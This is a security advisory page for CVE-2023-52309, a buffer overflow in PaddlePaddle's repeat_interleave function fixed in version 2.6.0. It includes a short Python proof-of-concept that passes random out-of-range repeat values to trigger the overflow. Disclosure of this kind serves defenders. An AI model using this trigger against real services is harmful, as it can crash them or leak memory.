Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affecting paddlepaddle/paddle package, versions [,2.6.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.22% (60th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-PADDLEPADDLEPADDLE-6142744
  • published3 Jan 2024
  • disclosed3 Jan 2024
  • creditTong Liu

Introduced: 3 Jan 2024

CVE-2023-52309  (opens in a new tab)
CWE-120  (opens in a new tab)

How to fix?

Upgrade paddlepaddle/paddle to version 2.6.0 or higher.

Overview

Affected versions of this package are vulnerable to Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') via the repeat_interleave function. An attacker can cause a denial of service, information disclosure, or potentially more severe impacts by exploiting the insufficient buffer size validation.

PoC

import paddle
import numpy as np

x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [4, 4, 8, 3, 2, 4]).astype(np.float64))
repeats = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [2, 1]).astype(np.int32))

paddle.repeat_interleave(x, repeats, axis=-2)

CVSS Scores

version 3.1